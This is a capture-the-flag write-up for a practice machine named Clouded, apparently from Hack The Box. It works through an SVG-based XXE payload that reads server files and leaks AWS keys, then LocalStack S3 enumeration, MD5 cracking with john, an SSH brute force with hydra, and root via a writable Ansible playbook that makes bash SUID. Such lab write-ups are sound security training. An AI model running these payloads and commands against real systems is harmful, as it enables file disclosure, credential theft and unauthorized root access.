Clouded
10 minutes to read
Port scanning
# Nmap 7.95 scan initiated as: nmap -sC -sV -o nmap/targeted 10.129.243.230 -p 22,80
Nmap scan report for 10.129.243.230
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://clouded.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 12.37 seconds
This machine has ports 22 (SSH) and 80 (HTTP) open.
Enumeration
If we go to http://10.129.243.230
, we will be redirected to http://clouded.htb
, so first we need to enter clouded.htb
into /etc/hosts
:
There is also an “About” page that tells something about cloud services and file uploads:
The only functionality of this website is to upload files (only .pdf
, .docx
, .png
or .svg
):
For instance, we can upload a dummy PNG image, and we will receive a link to download it afterwards:
Notice that we have a subdomain local.clouded.htb
, so we need to put it in /etc/hosts
.
If we try any other route, we receive a response in XML, which is pretty weird nowadays:
Foothold
Having a response in XML is probably because the attack vector is XML External Entity (XXE) injection or some other vulnerability related to XML. In fact, the server allows .svg
images, that are pretty much XML.
Exploiting XXE
We can have a look at PayloadsAllTheThings and notice that there is a payload for XXE inside an SVG file:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
We can try this payload and it actually works, because b3c1706ff55c
is the content of /etc/hostname
:
$ curl local.clouded.htb/uploads/file_ejTP14NY4b.svg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128px" height="128px" version="1.1">
<text font-size="16" x="0" y="16">b3c1706ff55c
</text>
</svg>
Since XXE allows to read local files from the server as long as we know the full path, we can try to read common Linux files. For example, /etc/passwd
, /etc/hosts
… Since we are going to try many files, let’s write a simple Python script to automate the process:
#!/usr/bin/env python3
import requests
import sys
from base64 import b64encode
filename = sys.argv[1]
svg = f'''<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "{filename}" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>
'''
data = requests.post(
'http://clouded.htb/upload/prod/lambda',
json={
'filename': 'xxe.svg',
'fileData': b64encode(svg.encode()).decode()
}
).json()
if (url := data.get('url')):
print(url)
print(requests.get(url).text)
We can find that the upload request is made to http://clouded.htb/uploads/prod/lambda
, using the developer tools of the browser. The “lambda” word is probably related to AWS Lambda. It makes sense because the machine is called Clouded, and we have a subdomain called local
, which probably refers to LocalStack (a cloud service emulator for AWS).
LocalStack enumeration
As a result, we can try to enumerate the AWS Lambda by printing its environment variables from the file /proc/self/environ
:
$ python3 xxe.py file:///proc/self/environ
http://local.clouded.htb/uploads/file_wY8AhPHsAr.svg
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="128px" height="128px" version="1.1">
<text font-size="16" x="0" y="16">AWS_LAMBDA_FUNCTION_VERSION=$LATESTEDGE_PORT=4566HOSTNAME=4ed2a07af507_LAMBDA_CONTROL_SOCKET=14AWS_LAMBDA_FUNCTION_TIMEOUT=10LOCALSTACK_HOSTNAME=172.18.0.2AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/UploadToS3LAMBDA_TASK_ROOT=/var/taskLD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/libAWS_LAMBDA_RUNTIME_API=127.0.0.1:9001AWS_LAMBDA_LOG_STREAM_NAME=2024/12/17/[$LATEST]c8930b3e569ee0426ec5fa6517cacdee_LAMBDA_SHARED_MEM_FD=11AWS_EXECUTION_ENV=AWS_Lambda_python3.8_LAMBDA_RUNTIME_LOAD_TIME=1530232235231AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000AWS_LAMBDA_FUNCTION_NAME=UploadToS3PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin_LAMBDA_LOG_FD=9AWS_DEFAULT_REGION=us-east-1PWD=/var/taskAWS_SECRET_ACCESS_KEY=eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUYLAMBDA_RUNTIME_DIR=/var/runtimeLANG=en_US.UTF-8TZ=:UTCAWS_REGION=us-east-1AWS_ACCESS_KEY_ID=AKIA5M34BDN8GCJGRFFBSHLVL=0HOME=/home/sbx_user1051AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:UploadToS3_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2_AWS_XRAY_DAEMON_PORT=2000_X_AMZN_TRACE_ID=Root=1-dc99d00f-c079a84d433534434534ef0d;Parent=91ed514f1e5c03b2;Sampled=1_LAMBDA_SB_ID=7AWS_XRAY_CONTEXT_MISSING=LOG_ERROR_LAMBDA_CONSOLE_SOCKET=16AWS_LAMBDA_COGNITO_IDENTITY={}_HANDLER=handler.lambda_handlerDOCKER_LAMBDA_USE_STDIN=1AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1536</text>
</svg>
It is shown in one line, but we can easily determine variable names and values:
AWS_LAMBDA_FUNCTION_VERSION=$LATEST
EDGE_PORT=4566
HOSTNAME=295a6f9edbe3
_LAMBDA_CONTROL_SOCKET=14
AWS_LAMBDA_FUNCTION_TIMEOUT=10
LOCALSTACK_HOSTNAME=172.18.0.2
AWS_LAMBDA_LOG_GROUP_NAME=/aws/lambda/UploadToS3
LAMBDA_TASK_ROOT=/var/task
LD_LIBRARY_PATH=/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib
AWS_LAMBDA_RUNTIME_API=127.0.0.1:9001
AWS_LAMBDA_LOG_STREAM_NAME=2024/12/14/[$LATEST]f916f3f686ff4f8dfecf52de7db0d42a
_LAMBDA_SHARED_MEM_FD=11
AWS_EXECUTION_ENV=AWS_Lambda_python3.8
_LAMBDA_RUNTIME_LOAD_TIME=1530232235231
AWS_XRAY_DAEMON_ADDRESS=169.254.79.2:2000
AWS_LAMBDA_FUNCTION_NAME=UploadToS3
PATH=/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin
_LAMBDA_LOG_FD=9
AWS_DEFAULT_REGION=us-east-1
PWD=/var/task
AWS_SECRET_ACCESS_KEY=eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY
LAMBDA_RUNTIME_DIR=/var/runtime
LANG=en_US.UTF-8
TZ=:UTC
AWS_REGION=us-east-1
AWS_ACCESS_KEY_ID=AKIA5M34BDN8GCJGRFFB
SHLVL=0
HOME=/home/sbx_user1051
AWS_LAMBDA_FUNCTION_INVOKED_ARN=arn:aws:lambda:us-east-1:000000000000:function:UploadToS3
_AWS_XRAY_DAEMON_ADDRESS=169.254.79.2
_AWS_XRAY_DAEMON_PORT=2000
_X_AMZN_TRACE_ID=Root=1-dc99d00f-c079a84d433534434534ef0d;Parent=91ed514f1e5c03b2;Sampled=1_LAMBDA_SB_ID=7
AWS_XRAY_CONTEXT_MISSING=LOG
_ERROR_LAMBDA_CONSOLE_SOCKET=16
AWS_LAMBDA_COGNITO_IDENTITY={}
_HANDLER=handler.lambda_handler
DOCKER_LAMBDA_USE_STDIN=1
AWS_LAMBDA_FUNCTION_MEMORY_SIZE=1536
With this information, we can use awscli
to interact with LocalStack and enumerate Lambda functions:
$ aws configure
AWS Access Key ID [None]: AKIA5M34BDN8GCJGRFFB
AWS Secret Access Key [None]: eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY
Default region name [None]: us-east-1
Default output format [None]:
$ aws --endpoint-url=http://local.clouded.htb lambda list-functions
{
"Functions": [
{
"FunctionName": "UploadToS3",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:UploadToS3",
"Runtime": "python3.8",
"Role": "arn:aws:iam::000000000000:role/LambdaS3Access",
"Handler": "handler.lambda_handler",
"CodeSize": 21510285,
"Description": "",
"Timeout": 10,
"LastModified": "2024-12-17T00:00:16.636+0000",
"CodeSha256": "CxUb8kp80KqTa/tzdVQeTVFqo0Nhs0W2AwRKeuplCXE=",
"Version": "$LATEST",
"VpcConfig": {},
"Environment": {
"Variables": {
"AWS_ACCESS_KEY_ID": "AKIA5M34BDN8GCJGRFFB",
"AWS_SECRET_ACCESS_KEY": "eDjlDHTtnOELI/L3FRMENG/dFxLujMjUSTaCHILLGUY"
}
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "21acfad8-815d-43ae-8143-2810648fb5e8",
"State": "Active",
"LastUpdateStatus": "Successful",
"PackageType": "Zip"
}
]
}
There is only one Lambda function. As it name says, it uploads files to S3. Therefore, there is also an S3 service deployed:
$ aws --endpoint-url=http://local.clouded.htb s3 ls
2024-12-17 00:00:08 uploads
2024-12-17 00:00:10 clouded-internal
$ aws --endpoint-url=http://local.clouded.htb s3 ls s3://clouded-internal
2024-12-17 00:00:13 16384 backup.db
That backup.db
from the clouded-internal
bucket looks so interesting. Let’s download it:
$ aws --endpoint-url=http://local.clouded.htb s3 cp s3://clouded-internal/backup.db .
download: s3://clouded-internal/backup.db to ./backup.db
We could continue enumerating LocalStack, but there is nothing more up there. We could have read the Lambda function source code, obtain a reverse shell on a Lambda container, but it is a dead end.
Instead, let’s take a look at the backup.db
file, which is a SQLite database:
sqlite> .tables
frontiers
sqlite> .schema frontiers
CREATE TABLE IF NOT EXISTS "frontiers" (
"first_name" TEXT,
"last_name" TEXT,
"department" TEXT,
"frontier_level" TEXT,
"password" TEXT
);
Perfect! We’ve got a bunch of usernames and password hashes (probably MD5):
sqlite> select * from frontiers;
Jax|Blackstone|Cybersecurity Frontier|Star Tech Cadet|0691df26da82d6eb2e5da8924628db63
Colt|Dray|Orbital Analytics|Keeper of the Spur|ae0eea6eb6d63f98da42de867c47a0f8
Ember|Frost|Quantum Systems|Starwarden|680e89809965ec41e64dc7e447f175ab
Kael|Stark|Astroinformatics|Frontier Architect|f63f4fbc9f8c85d409f2f59f2b9e12d5
Nova|Voss|Terraforming Tech|Star Tech Cadet|dba0079f1cb3a3b56e102dd5e04fa2af
Vira|Wyler|Galactic Communications|Signal Engineer|968c58d88d981b4ee15e2c8cb1fab06d
Zane|Korr|Power Grid Dynamics|Code Marshal|a90f4589534f75e93dbccd20329ed946
Lyra|Nex|Starship AI Division|Keeper of the Spur|91111fb1f8b088438d80367df81cb6cf
Arlo|Halcyon|Neural Nexus|Systems Pioneer|02b0732024cad6ad3dc2989bc82a1ef5
Orion|Solace|Signal Operations|Starwarden|d2feb9b6718bb374dfdd689380676954
Vesper|Talon|Galactic Communications|Frontier Architect|467b6140fe3bb958f2332983914de787
Pax|Irons|Quantum Systems|Data Scout|2aee1c40199c7754da766e61452612cc
Cleo|Nagato|Astroinformatics|Code Marshal|e94ef563867e9c9df3fcc999bdb045f5
Rynn|Verin|Void Engineering|Star Tech Cadet|532ab4d2bbcc461398d494905db10c95
Kyra|Ashcroft|Terraforming Tech|Comms Wrangler|7d37c580f9c36fa004af865448a6e278
Soren|Stroud|System Integrity Core|Keeper of the Spur|b08c8c585b6d67164c163767076445d6
Thorne|Ashford|Starship AI Division|Signal Engineer|069a6a9ccaaca7967a0c43cb5e161187
Aerin|Vail|Cybersecurity Frontier|Star Tech Cadet|83de6260ed1dbe549bd23d31c4b8af81
Juno|Quill|Data Forge|Cyber Outrider|361519f98f2c121f3abd457adc415ad9
Kaden|Kade|Neural Nexus|Systems Pioneer|365816905f5e9c148e20273719fe163d
Elara|Drax|Quantum Systems|Cyber Outrider|78842815248300fa6ae79f7776a5080a
Dax|Mason|Galactic Communications|Code Marshal|6ebe76c9fb411be97b3b0d48b791a7c9
Tessa|Hawk|Signal Operations|Starwarden|df53ca268240ca76670c8566ee54568a
Kiera|Carver|Astroinformatics|Data Scout|008c5926ca861023c1d2a36653fd88e2
Valen|Locke|Power Grid Dynamics|Systems Pioneer|8621ffdbc5698829397d97767ac13db3
Juno|Wolfe|Frontier Robotics|Signal Engineer|282bbbfb69da08d03ff4bcf34a94bc53
Calix|Rook|Orbital Analytics|Comms Wrangler|2dccd1ab3e03990aea77359831c85ca2
Rhea|Steele|Starship AI Division|Keeper of the Spur|cf9ee5bcb36b4936dd7064ee9b2f139e
Lira|Kyros|Void Engineering|Code Marshal|6b1628b016dff46e6fa35684be6acc96
Cass|Hunt|Data Forge|Star Tech Cadet|de1e3b0952476aae6888f98ea0e4ac11
Rowan|Calder|Cybersecurity Frontier|Starwarden|e1964798cfe86e914af895f8d0291812
Astra|Brogan|Neural Nexus|Comms Wrangler|cb07901c53218323c4ceacdea4b23c98
Bex|Stryker|Galactic Communications|Frontier Architect|b03e3fd2b3d22ff6df2796c412b09311
Nyx|Vale|Astroinformatics|Data Scout|92290ccb8f7b2beb4c57ef1f7a3d5947
Talon|Fennec|Terraforming Tech|Cyber Outrider|7d8bc5f1a8d3787d06ef11c97d4655df
Mira|Drake|Quantum Systems|Star Tech Cadet|d487dd0b55dfcacdd920ccbdaeafa351
Kaine|Sabre|System Integrity Core|Starwarden|07a88e756847244f3496f63f473d6085
Juno|Cross|Power Grid Dynamics|Keeper of the Spur|2760c7b84d4bad6b0b12d7c1a6c5e1a4
Halcyon|Ward|Signal Operations|Frontier Architect|4d5257e5acc7fcac2f5dcd66c4e78f9a
Nia|Vireo|Starship AI Division|Signal Engineer|ac3665f6acae8bd267ed92a71a71313b
Zira|Vance|Orbital Analytics|Star Tech Cadet|eb415b465d61eada8661cb4bda71a4e7
Max|Wren|Data Forge|Comms Wrangler|a17b48e31806e6bb63f64cafb2b06780
Caden|Fury|Void Engineering|Data Scout|7eef7295c50d70615433858746056bca
Lira|Slate|Cybersecurity Frontier|Keeper of the Spur|cd880b726e0a0dbd4237f10d15da46f4
Selene|Vesper|System Integrity Core|Code Marshal|33da7a40473c1637f1a2e142f4925194
Jett|Briar|Terraforming Tech|Cyber Outrider|177dacb14b34103960ec27ba29bd686b
Renzo|Shadow|Frontier Robotics|Star Tech Cadet|7902b7c0be5cedb6fbada8d4c7fc42a0
Sol|Ravenwood|Galactic Communications|Systems Pioneer|55e7dd3016ce4ac57b9a0f56af12f7c2
Lex|West|Signal Operations|Starwarden|21bb5bb51758eab175d4d640334abba0
Thorne|Lyon|Neural Nexus|Frontier Architect|c25a68128b55eab863ac1bfcfbb4c80a
Let’s take all password hashes to crack them with john
and rockyou.txt
:
sqlite> select password from frontiers;
0691df26da82d6eb2e5da8924628db63
ae0eea6eb6d63f98da42de867c47a0f8
680e89809965ec41e64dc7e447f175ab
...
55e7dd3016ce4ac57b9a0f56af12f7c2
21bb5bb51758eab175d4d640334abba0
c25a68128b55eab863ac1bfcfbb4c80a
$ john --wordlist=$WORDLISTS/rockyou.txt --format=Raw-MD5 <(echo '0691df26da82d6eb2e5da8924628db63
ae0eea6eb6d63f98da42de867c47a0f8
680e89809965ec41e64dc7e447f175ab
...
55e7dd3016ce4ac57b9a0f56af12f7c2
21bb5bb51758eab175d4d640334abba0
c25a68128b55eab863ac1bfcfbb4c80a')
Using default input encoding: UTF-8
Loaded 50 password hashes with no different salts (Raw-MD5 [MD5 128/128 ASIMD 4x2])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
jonathan (?)
987654321 (?)
computer (?)
...
cookies (?)
leslie (?)
jackass (?)
50g 0:00:00:00 DONE 5000g/s 204800p/s 204800c/s 10240KC/s 123456..lovers1
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Access via SSH
Having found all these users and passwords, we might want to check if we can reuse any credential in other services, for instance, in SSH. We can make use of hydra
to perform a brute force attack with these wordlists. However, it looks like none of the credentials work directly. Even using the last_name
instead of the first_name
…
$ hydra -C creds.txt clouded.htb ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries, ~7 tries per task
[DATA] attacking ssh://clouded.htb:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished
At this point, we could continue enumerating the AWS environment, but there’s nothing more to do there. So, we must continue trying to access via SSH. In the end, we can use a wordlist for both first_name
and last_name
values and another wordlist with the passwords, so that we try every username with every password ((2 * 50) * 50 = 5000
possibilities). It might be worth it…
sqlite> select lower(first_name) from frontiers union select lower(last_name) from frontiers;
aerin
arlo
ashcroft
...
wyler
zane
zira
And there it is!
$ hydra -L usernames.txt -P passwords.txt clouded.htb ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra)
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 4650 login tries (l:93/p:50), ~291 tries per task
[DATA] attacking ssh://clouded.htb:22/
[STATUS] 283.00 tries/min, 283 tries in 00:01h, 4367 to do in 00:16h, 16 active
[STATUS] 282.00 tries/min, 846 tries in 00:03h, 3804 to do in 00:14h, 16 active
[STATUS] 275.71 tries/min, 1930 tries in 00:07h, 2720 to do in 00:10h, 16 active
[22][ssh] host: clouded.htb login: nagato password: alicia
[STATUS] 272.17 tries/min, 3266 tries in 00:12h, 1384 to do in 00:06h, 16 active
[STATUS] 273.53 tries/min, 4650 tries in 00:17h, 1 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)
I was a bit confused on why we had to mix all usernames and passwords, because it doesn’t make sense. After digging a bit, it happened that john
didn’t keep the original order…
Whatever… With this, we can access via SSH and get the first flag:
$ ssh nagato@clouded.htb
nagato@clouded.htb's password:
nagato@clouded:~$ cat user.txt
HTB{L@MBD@_5AY5_B@@}
System enumeration
Once inside the machine, we must enumerate the system to look for ways to escalate privileges to root
. One of the checks is to look for interesting files. For instance, at /opt
:
nagato@clouded:~$ ls /opt
containerd infra-setup
nagato@clouded:~$ ls /opt/infra-setup/
checkup.yml
nagato@clouded:~$ cat /opt/infra-setup/checkup.yml
- name: Check Stability of Clouded File Sharing Service
hosts: localhost
gather_facts: false
tasks:
- name: Check if the Clouded File Sharing service is running and if the AWS connection is stable
debug:
msg: "Checking if Clouded File Sharing service is running."
# NOTE to Yuki - Add checks for verifying the above tasks
This YAML file seems to be related with the local cloud that is deployed in the machine. Let’s enumerate running processes with pspy
:
$ scp pspy64s nagato@clouded.htb:/tmp
nagato@clouded.htb's password:
pspy64s 100% 1129KB 852.5KB/s 00:01
nagato@clouded:~$ chmod +x /tmp/pspy64s
nagato@clouded:~$ !$
/tmp/pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
ββββββ ββββββ ββββββ βββ βββ
ββββ ββββββ β ββββ ββββββ βββ
ββββ βββββ ββββ ββββ ββββ βββ βββ
βββββββ β β ββββββββββ β β βββββ
ββββ β ββββββββββββββ β β β βββββ
ββββ β ββ βββ β βββββ β β βββββ
ββ β β ββ β βββ β βββ βββ
ββ β β β ββ β β ββ
β β β
β β
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
...
CMD: UID=0 PID=4207 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/infra-setup/*.yml
CMD: UID=0 PID=4208 | /usr/bin/python3 /usr/local/bin/ansible-parallel /opt/infra-setup/checkup.yml
CMD: UID=0 PID=4209 | /usr/sbin/CRON -f
CMD: UID=0 PID=4210 | sleep 10
CMD: UID=0 PID=4211 | python3 /usr/bin/ansible-playbook /opt/infra-setup/checkup.yml
CMD: UID=0 PID=4213 |
CMD: UID=0 PID=4214 | ssh -o ControlPersist
CMD: UID=0 PID=4216 | python3 /usr/bin/ansible-playbook /opt/infra-setup/checkup.yml
...
There it is! The root
user is running ansible-playbook-parallel
on all YAML files located at /opt/infra-setup
. Notice that we have write permissions here:
nagato@clouded:~$ ls -la /opt/infra-setup/
total 12
drwxrwxr-x 2 root frontiers 4096 Dec 15 23:48 .
drwxr-xr-x 4 root root 4096 Dec 2 06:44 ..
-rw-r--r-- 1 root root 351 Dec 15 23:48 checkup.yml
Privilege escalation
With Ansible Playbooks it is possible to run system commands (more information here), so we simply add SUID permissions to /bin/bash
(there is also a GTFOBin).
We first create a YAML file with the actions we want to trigger:
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
At this point, we write the file and wait a bit until /bin/bash
is set to a SUID binary to get access as root
:
nagato@clouded:~$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
nagato@clouded:~$ cat > /opt/infra-setup/privesc.yml
- hosts: localhost
tasks:
- command: chmod u+s /bin/bash
^C
nagato@clouded:~$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18 2022 /bin/bash
nagato@clouded:~$ bash -p
bash-5.0# cd /root/root.txt
HTB{H@ZY_71ME5_AH3AD}